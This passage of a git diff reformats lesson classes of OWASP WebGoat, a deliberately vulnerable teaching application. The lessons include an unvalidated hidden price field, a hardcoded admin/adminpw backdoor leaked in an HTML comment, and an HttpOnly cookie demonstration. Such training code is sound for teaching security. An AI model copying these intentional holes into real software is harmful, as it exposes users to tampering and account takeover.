IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - private final static String PRICE = "Price"; + private final static String PRICE = "Price"; - private final static String PRICE_TV = "2999.99"; + private final static String PRICE_TV = "2999.99"; - private final static String PRICE_TV_HACKED = "9.99"; + private final static String PRICE_TV_HACKED = "9.99"; - String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any - // interesting exploit! - Pattern pattern1 = Pattern.compile(regex); - String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; + String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any + // interesting exploit! + Pattern pattern1 = Pattern.compile(regex); + String lineSep = System.getProperty("line.separator"); + String script = "" + lineSep; - /** - * Constructor for the HiddenFieldScreen object - */ - public HiddenFieldTampering() - { - } + /** + * Constructor for the HiddenFieldScreen object + */ + public HiddenFieldTampering() + { + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - ec.addElement(new StringElement(script)); - float quantity; - float total; - String price = PRICE_TV; - DecimalFormat money = new DecimalFormat("$0.00"); - try - { - price = s.getParser().getRawParameter(PRICE, PRICE_TV); - quantity = s.getParser().getFloatParameter("QTY", 1.0f); - total = quantity * Float.parseFloat(price); - } catch (Exception e) - { - s.setMessage(WebGoatI18N.get("Invaild data") + this.getClass().getName()); - price = PRICE_TV; - quantity = 1.0f; - total = quantity * Float.parseFloat(PRICE_TV); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + ec.addElement(new StringElement(script)); + float quantity; + float total; + String price = PRICE_TV; + DecimalFormat money = new DecimalFormat("$0.00"); + try + { + price = s.getParser().getRawParameter(PRICE, PRICE_TV); + quantity = s.getParser().getFloatParameter("QTY", 1.0f); + total = quantity * Float.parseFloat(price); + } catch (Exception e) + { + s.setMessage(WebGoatI18N.get("Invaild data") + this.getClass().getName()); + price = PRICE_TV; + quantity = 1.0f; + total = quantity * Float.parseFloat(PRICE_TV); - } + } - if (price.equals(PRICE_TV)) - { - ec.addElement(new Center().addElement(new H1().addElement(WebGoatI18N.get("ShoppingCart")))); - ec.addElement(new BR()); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); + if (price.equals(PRICE_TV)) + { + ec.addElement(new Center().addElement(new H1().addElement(WebGoatI18N.get("ShoppingCart")))); + ec.addElement(new BR()); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TH().addElement(WebGoatI18N.get("ShoppingCartItems")).setWidth("80%")); - tr.addElement(new TH().addElement(WebGoatI18N.get("Price")).setWidth("10%")); - tr.addElement(new TH().addElement(WebGoatI18N.get("Quantity")).setWidth("3%")); - tr.addElement(new TH().addElement(WebGoatI18N.get("Total")).setWidth("7%")); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TH().addElement(WebGoatI18N.get("ShoppingCartItems")).setWidth("80%")); + tr.addElement(new TH().addElement(WebGoatI18N.get("Price")).setWidth("10%")); + tr.addElement(new TH().addElement(WebGoatI18N.get("Quantity")).setWidth("3%")); + tr.addElement(new TH().addElement(WebGoatI18N.get("Total")).setWidth("7%")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)")); - tr.addElement(new TD().addElement(PRICE_TV).setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1).setSize(6)).setAlign("right")); - tr.addElement(new TD().addElement(money.format(total))); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)")); + tr.addElement(new TD().addElement(PRICE_TV).setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1).setSize(6)).setAlign("right")); + tr.addElement(new TD().addElement(money.format(total))); + t.addElement(tr); - ec.addElement(t); + ec.addElement(t); - t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - ec.addElement(new BR()); - tr = new TR(); - tr.addElement(new TD().addElement(WebGoatI18N.get("TotalChargedCreditCard")+":")); - tr.addElement(new TD().addElement(money.format(total))); - tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("UpdateCart")))); - tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("Purchase"), "validate()"))); - t.addElement(tr); + ec.addElement(new BR()); + tr = new TR(); + tr.addElement(new TD().addElement(WebGoatI18N.get("TotalChargedCreditCard")+":")); + tr.addElement(new TD().addElement(money.format(total))); + tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("UpdateCart")))); + tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("Purchase"), "validate()"))); + t.addElement(tr); - ec.addElement(t); + ec.addElement(t); - Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV); - ec.addElement(input); - ec.addElement(new BR()); + Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV); + ec.addElement(input); + ec.addElement(new BR()); - } - else - { - if (!price.toString().equals(PRICE_TV)) - { - makeSuccess(s); - } + } + else + { + if (!price.toString().equals(PRICE_TV)) + { + makeSuccess(s); + } - ec.addElement(new P().addElement(WebGoatI18N.get("TotalPriceIs")+":")); - ec.addElement(new B("$" + total)); - ec.addElement(new BR()); - ec.addElement(new P().addElement(WebGoatI18N.get("ThisAmountCharged"))); - } + ec.addElement(new P().addElement(WebGoatI18N.get("TotalPriceIs")+":")); + ec.addElement(new B("$" + total)); + ec.addElement(new BR()); + ec.addElement(new P().addElement(WebGoatI18N.get("ThisAmountCharged"))); + } - return (ec); - } + return (ec); + } - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.PARAMETER_TAMPERING; - } + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.PARAMETER_TAMPERING; + } - /** - * Gets the hints attribute of the HiddenFieldScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add(WebGoatI18N.get("HiddenFieldTamperingHint1")); - hints.add(WebGoatI18N.get("HiddenFieldTamperingHint2")); - hints.add(WebGoatI18N.get("HiddenFieldTamperingHint3")+ PRICE_TV +WebGoatI18N.get("HiddenFieldTamperingHint32") + PRICE_TV_HACKED ); - - return hints; - } + /** + * Gets the hints attribute of the HiddenFieldScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add(WebGoatI18N.get("HiddenFieldTamperingHint1")); + hints.add(WebGoatI18N.get("HiddenFieldTamperingHint2")); + hints.add(WebGoatI18N.get("HiddenFieldTamperingHint3")+ PRICE_TV +WebGoatI18N.get("HiddenFieldTamperingHint32") + PRICE_TV_HACKED ); + + return hints; + } - + - private final static Integer DEFAULT_RANKING = new Integer(50); + private final static Integer DEFAULT_RANKING = new Integer(50); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the HiddenFieldScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Exploit Hidden Fields"); - } + /** + * Gets the title attribute of the HiddenFieldScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Exploit Hidden Fields"); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/HowToWork.java b/src/main/java/org/owasp/webgoat/lessons/HowToWork.java index 467f97a29..07a32acaf 100644 --- a/src/main/java/org/owasp/webgoat/lessons/HowToWork.java +++ b/src/main/java/org/owasp/webgoat/lessons/HowToWork.java @@ -39,51 +39,51 @@ import org.owasp.webgoat.session.WebSession; */ public class HowToWork extends LessonAdapter { - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - makeSuccess(s); - ElementContainer ec = new ElementContainer(); - ec.addElement(new StringElement("Welcome to WebGoat !!")); - return (ec); - } + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + makeSuccess(s); + ElementContainer ec = new ElementContainer(); + ec.addElement(new StringElement("Welcome to WebGoat !!")); + return (ec); + } - /** - * Gets the category attribute of the HowToWork object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.INTRODUCTION; - } + /** + * Gets the category attribute of the HowToWork object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.INTRODUCTION; + } - private final static Integer DEFAULT_RANKING = new Integer(10); + private final static Integer DEFAULT_RANKING = new Integer(10); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the DirectoryScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("How to work with WebGoat"); - } + /** + * Gets the title attribute of the DirectoryScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("How to work with WebGoat"); + } - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } + public Element getCredits() + { + return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/HtmlClues.java b/src/main/java/org/owasp/webgoat/lessons/HtmlClues.java index 1730541b4..85c3bebda 100644 --- a/src/main/java/org/owasp/webgoat/lessons/HtmlClues.java +++ b/src/main/java/org/owasp/webgoat/lessons/HtmlClues.java @@ -54,188 +54,188 @@ import org.owasp.webgoat.util.WebGoatI18N; */ public class HtmlClues extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - /** - * Description of the Field - */ - protected final static String PASSWORD = "Password"; + /** + * Description of the Field + */ + protected final static String PASSWORD = "Password"; - /** - * Description of the Field - */ - protected final static String USERNAME = "Username"; + /** + * Description of the Field + */ + protected final static String USERNAME = "Username"; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - private boolean backdoor(WebSession s) - { - String username = s.getParser().getRawParameter(USERNAME, ""); - String password = s.getParser().getRawParameter(PASSWORD, ""); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + private boolean backdoor(WebSession s) + { + String username = s.getParser().getRawParameter(USERNAME, ""); + String password = s.getParser().getRawParameter(PASSWORD, ""); - // - return (username.equals("admin") && password.equals("adminpw")); - // - } + // + return (username.equals("admin") && password.equals("adminpw")); + // + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - // - ec.addElement(new Comment("FIXME admin:adminpw")); - // - ec.addElement(new Comment("Use Admin to regenerate database")); + try + { + // + ec.addElement(new Comment("FIXME admin:adminpw")); + // + ec.addElement(new Comment("Use Admin to regenerate database")); - if (backdoor(s)) - { - makeSuccess(s); + if (backdoor(s)) + { + makeSuccess(s); - s.setMessage(WebGoatI18N.get("HtmlCluesBINGO")); - ec.addElement(makeUser(s, "admin", "CREDENTIALS")); - } - else - { - ec.addElement(makeLogin(s)); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } + s.setMessage(WebGoatI18N.get("HtmlCluesBINGO")); + ec.addElement(makeUser(s, "admin", "CREDENTIALS")); + } + else + { + ec.addElement(makeLogin(s)); + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } - return (ec); - } + return (ec); + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @param user - * Description of the Parameter - * @param method - * Description of the Parameter - * @return Description of the Return Value - * @exception Exception - * Description of the Exception - */ - protected Element makeUser(WebSession s, String user, String method) throws Exception - { - ElementContainer ec = new ElementContainer(); - ec.addElement(new P().addElement(WebGoatI18N.get("WelcomeUser")+ user)); - ec.addElement(new P().addElement(WebGoatI18N.get("YouHaveBeenAuthenticatedWith") + method)); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @param user + * Description of the Parameter + * @param method + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element makeUser(WebSession s, String user, String method) throws Exception + { + ElementContainer ec = new ElementContainer(); + ec.addElement(new P().addElement(WebGoatI18N.get("WelcomeUser")+ user)); + ec.addElement(new P().addElement(WebGoatI18N.get("YouHaveBeenAuthenticatedWith") + method)); - return (ec); - } + return (ec); + } - protected Element makeLogin(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected Element makeLogin(WebSession s) + { + ElementContainer ec = new ElementContainer(); - ec.addElement(new H1().addElement("Sign In ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + ec.addElement(new H1().addElement("Sign In ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TH() - .addElement(WebGoatI18N.get("WeakAuthenticationCookiePleaseSignIn")) - .setColSpan(2).setAlign("left")); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TH() + .addElement(WebGoatI18N.get("WeakAuthenticationCookiePleaseSignIn")) + .setColSpan(2).setAlign("left")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("*"+WebGoatI18N.get("RequiredFields")).setWidth("30%")); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("*"+WebGoatI18N.get("RequiredFields")).setWidth("30%")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); - TR row1 = new TR(); - TR row2 = new TR(); - row1.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("UserName")+": ")))); - row2.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("Password")+": ")))); + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("UserName")+": ")))); + row2.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("Password")+": ")))); - Input input1 = new Input(Input.TEXT, USERNAME, ""); - Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); - row1.addElement(new TD(input1)); - row2.addElement(new TD(input2)); - t.addElement(row1); - t.addElement(row2); + Input input1 = new Input(Input.TEXT, USERNAME, ""); + Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); + row1.addElement(new TD(input1)); + row2.addElement(new TD(input2)); + t.addElement(row1); + t.addElement(row2); - Element b = ECSFactory.makeButton(WebGoatI18N.get("Login")); - t.addElement(new TR(new TD(b))); - ec.addElement(t); + Element b = ECSFactory.makeButton(WebGoatI18N.get("Login")); + t.addElement(new TR(new TD(b))); + ec.addElement(t); - return (ec); - } + return (ec); + } - /** - * Gets the hints attribute of the CluesScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(WebGoatI18N.get("HtmlCluesHint1")); - hints.add(WebGoatI18N.get("HtmlCluesHint2")); - hints.add(WebGoatI18N.get("HtmlCluesHint3")); - - return hints; - } + /** + * Gets the hints attribute of the CluesScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add(WebGoatI18N.get("HtmlCluesHint1")); + hints.add(WebGoatI18N.get("HtmlCluesHint2")); + hints.add(WebGoatI18N.get("HtmlCluesHint3")); + + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(30); + private final static Integer DEFAULT_RANKING = new Integer(30); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the category attribute of the FailOpenAuthentication object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.CODE_QUALITY; - } + /** + * Gets the category attribute of the FailOpenAuthentication object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.CODE_QUALITY; + } - /** - * Gets the title attribute of the CluesScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Discover Clues in the HTML"); - } + /** + * Gets the title attribute of the CluesScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Discover Clues in the HTML"); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/HttpBasics.java b/src/main/java/org/owasp/webgoat/lessons/HttpBasics.java index 3be19a55c..32e7f09d3 100644 --- a/src/main/java/org/owasp/webgoat/lessons/HttpBasics.java +++ b/src/main/java/org/owasp/webgoat/lessons/HttpBasics.java @@ -60,7 +60,7 @@ public class HttpBasics extends LessonAdapter { StringBuffer person = null; try { - ec.addElement(new BR()); + ec.addElement(new BR()); ec.addElement(new StringElement(WebGoatI18N.get("EnterYourName") + ": ")); person = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); diff --git a/src/main/java/org/owasp/webgoat/lessons/HttpOnly.java b/src/main/java/org/owasp/webgoat/lessons/HttpOnly.java index df13a82af..f33459e72 100644 --- a/src/main/java/org/owasp/webgoat/lessons/HttpOnly.java +++ b/src/main/java/org/owasp/webgoat/lessons/HttpOnly.java @@ -50,467 +50,467 @@ import sun.misc.BASE64Encoder; public class HttpOnly extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - private final static Integer DEFAULT_RANKING = new Integer(125); - - private final static String UNIQUE2U = "unique2u"; - - private final static String HTTPONLY = "httponly"; - - private final static String ACTION = "action"; - - private final static String READ = "Read Cookie"; - - private final static String WRITE = "Write Cookie"; - - private final static String READ_RESULT = "read_result"; - - private boolean httpOnly = false; - - private boolean readSuccess = false; - - private boolean writeSuccess = false; - - private String original = "undefined"; - - /** - * Gets the title attribute of the EmailScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("HTTPOnly Test"); - } - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String action = null; - String http = null; - - http = s.getRequest().getParameter(HTTPONLY); - action = s.getRequest().getParameter(ACTION); - - if (http != null) - { - httpOnly = Boolean.parseBoolean(http); - } - - if (httpOnly) - { - // System.out.println("HttpOnly: Setting HttpOnly for cookie"); - setHttpOnly(s); - } - else - { - // System.out.println("HttpOnly: Removing HttpOnly for cookie"); - removeHttpOnly(s); - } - - if (action != null) - { - if (action.equals(READ)) - { - handleReadAction(s); - } - else if (action.equals(WRITE)) - { - handleWriteAction(s); - } - else - { - // s.setMessage("Invalid Request. Please try again."); - } - } - - try - { - ec.addElement(makeContent(s)); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.XSS; - } - - /** - * Gets the hints attribute of the EmailScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Read the directions and try out the buttons."); - return hints; - } - - private String createCustomCookieValue() - { - String value = null; - byte[] buffer = null; - MessageDigest md = null; - BASE64Encoder encoder = new BASE64Encoder(); - - try - { - md = MessageDigest.getInstance("SHA"); - buffer = new Date().toString().getBytes(); - - md.update(buffer); - value = encoder.encode(md.digest()); - original = value; - - } catch (Exception e) - { - e.printStackTrace(); - } - - return value; - } - - private void setHttpOnly(WebSession s) - { - String value = createCustomCookieValue(); - HttpServletResponse response = s.getResponse(); - String cookie = s.getCookie(UNIQUE2U); - - if (cookie == null || cookie.equals("HACKED")) - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly"); - original = value; - } - else - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly"); - original = cookie; - } - } - - private void removeHttpOnly(WebSession s) - { - String value = createCustomCookieValue(); - HttpServletResponse response = s.getResponse(); - String cookie = s.getCookie(UNIQUE2U); - - if (cookie == null || cookie.equals("HACKED")) - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";"); - original = value; - } - else - { - response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";"); - original = cookie; - } - } - - private ElementContainer makeContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - Element r = null; - Table t = null; - TR tr = null; - Form f = null; - - ec.addElement(new StringElement(getJavaScript())); - - f = new Form(); - - t = new Table(); - t.setWidth(500); - - tr = new TR(); - - tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s)))); - t.addElement(tr); - - tr = new TR(); - t.addElement(tr); - - tr = new TR(); - - tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?"))); - - tr.addElement(new TD(new StringElement("Yes"))); - - if (httpOnly == true) - { - r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true"); - } - else - { - r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()"); - } - - tr.addElement(new TD(r)); - - tr.addElement(new TD(new StringElement("No"))); - - if (httpOnly == false) - { - r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True"); - } - else - { - r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()"); - } - - tr.addElement(new TD(r)); - - r = new Input(Input.HIDDEN, READ_RESULT, ""); - tr.addElement(r); - - t.addElement(tr); - - /* - * tr.addElement(new TD(new StringElement("Status: " ))); t.addElement(tr); - * if(httpOnly == true) { tr.addElement(new TD(new StringElement("
On
"))); } else { tr.addElement(new TD(new StringElement ("
Off
"))); } t.addElement(tr); t.addElement(new TR(new TD(new - * StringElement("
")))); - */f.addElement(t); - - t = new Table(); - tr = new TR(); - - r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();"); - tr.addElement(new TD(r)); - - r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();"); - tr.addElement(new TD(r)); - t.addElement(tr); - - f.addElement(t); - ec.addElement(f); - - return ec; - } - - private void handleReadAction(WebSession s) - { - - String displayed = s.getRequest().getParameter(READ_RESULT); - - if (httpOnly == true) - { - if (displayed.indexOf(UNIQUE2U) != -1) - { - s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U - + "' cookie. It allowed direct client side read access to this cookie."); - } - else - { - s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U - + "' cookie by preventing direct client side read access to this cookie."); - if (writeSuccess) - { - if (!this.isCompleted(s)) - { - makeSuccess(s); - readSuccess = false; - writeSuccess = false; - } - } - else - { - if (!this.isCompleted(s)) - { - s.setMessage("Now try to see if your browser protects write access to this cookie."); - readSuccess = true; - } - } - } - } - else if (displayed.indexOf(UNIQUE2U) != -1) - { - s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U - + "' cookie was displayed in the alert dialog."); - } - else - { - s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U - + "' cookie should have been displayed in the alert dialog, but was not for some reason. " - + "(This shouldn't happen)"); - } - } - - private void handleWriteAction(WebSession s) - { - String hacked = s.getCookie(UNIQUE2U); - - if (httpOnly == true) - { - if (!original.equals(hacked)) - { - s - .setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" - + UNIQUE2U + "' cookie."); - s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked - + " on the client side."); - } - else - { - s - .setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '" - + UNIQUE2U + "' cookie by preventing client side modification."); - if (readSuccess) - { - if (!this.isCompleted(s)) - { - makeSuccess(s); - readSuccess = false; - writeSuccess = false; - } - } - else - { - if (!this.isCompleted(s)) - { - s.setMessage("Now try to see if your browser protects read access to this cookie."); - writeSuccess = true; - } - } - } - } - else if (!original.equals(hacked)) - { - s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U - + "' cookie to be modified on the client side."); - } - else - { - s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U - + "' cookie to be modified on the client side, but it was not for some reason. " - + "(This shouldn't happen)"); - } - } - - private String getJavaScript() - { - StringBuffer buffer = new StringBuffer(); - - buffer.append("\n"); - - return buffer.toString(); - } - - private String getBrowserType(WebSession s) - { - int offset = -1; - String result = "unknown"; - String browser = s.getHeader("user-agent").toLowerCase(); - - if (browser != null) - { - if (browser.indexOf("firefox") != -1) - { - browser = browser.substring(browser.indexOf("firefox")); - - offset = getOffset(browser); - - result = browser.substring(0, offset); - } - else if (browser.indexOf("msie 6") != -1) - { - result = "Internet Explorer 6"; - } - else if (browser.indexOf("msie 7") != -1) - { - result = "Internet Explorer 7"; - } - else if (browser.indexOf("msie") != -1) - { - result = "Internet Explorer"; - } - else if (browser.indexOf("opera") != -1) - { - result = "Opera"; - } - else if (browser.indexOf("safari") != -1) - { - result = "Safari"; - } - else if (browser.indexOf("netscape") != -1) - { - browser = browser.substring(browser.indexOf("netscape")); - - offset = getOffset(browser); - - result = browser.substring(0, offset); - } - else if (browser.indexOf("konqueror") != -1) - { - result = "Konqueror"; - } - else if (browser.indexOf("mozilla") != -1) - { - result = "Mozilla"; - } - } - - return result; - } - - private int getOffset(String s) - { - int result = s.length(); - - for (int i = 0; i < s.length(); i++) - { - if (s.charAt(i) < 33 || s.charAt(i) > 126) - { - result = i; - break; - } - } - - return result; - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); + + private final static Integer DEFAULT_RANKING = new Integer(125); + + private final static String UNIQUE2U = "unique2u"; + + private final static String HTTPONLY = "httponly"; + + private final static String ACTION = "action"; + + private final static String READ = "Read Cookie"; + + private final static String WRITE = "Write Cookie"; + + private final static String READ_RESULT = "read_result"; + + private boolean httpOnly = false; + + private boolean readSuccess = false; + + private boolean writeSuccess = false; + + private String original = "undefined"; + + /** + * Gets the title attribute of the EmailScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("HTTPOnly Test"); + } + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String action = null; + String http = null; + + http = s.getRequest().getParameter(HTTPONLY); + action = s.getRequest().getParameter(ACTION); + + if (http != null) + { + httpOnly = Boolean.parseBoolean(http); + } + + if (httpOnly) + { + // System.out.println("HttpOnly: Setting HttpOnly for cookie"); + setHttpOnly(s); + } + else + { + // System.out.println("HttpOnly: Removing HttpOnly for cookie"); + removeHttpOnly(s); + } + + if (action != null) + { + if (action.equals(READ)) + { + handleReadAction(s); + } + else if (action.equals(WRITE)) + { + handleWriteAction(s); + } + else + { + // s.setMessage("Invalid Request. Please try again."); + } + } + + try + { + ec.addElement(makeContent(s)); + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.XSS; + } + + /** + * Gets the hints attribute of the EmailScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Read the directions and try out the buttons."); + return hints; + } + + private String createCustomCookieValue() + { + String value = null; + byte[] buffer = null; + MessageDigest md = null; + BASE64Encoder encoder = new BASE64Encoder(); + + try + { + md = MessageDigest.getInstance("SHA"); + buffer = new Date().toString().getBytes(); + + md.update(buffer); + value = encoder.encode(md.digest()); + original = value; + + } catch (Exception e) + { + e.printStackTrace(); + } + + return value; + } + + private void setHttpOnly(WebSession s) + { + String value = createCustomCookieValue(); + HttpServletResponse response = s.getResponse(); + String cookie = s.getCookie(UNIQUE2U); + + if (cookie == null || cookie.equals("HACKED")) + { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly"); + original = value; + } + else + { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly"); + original = cookie; + } 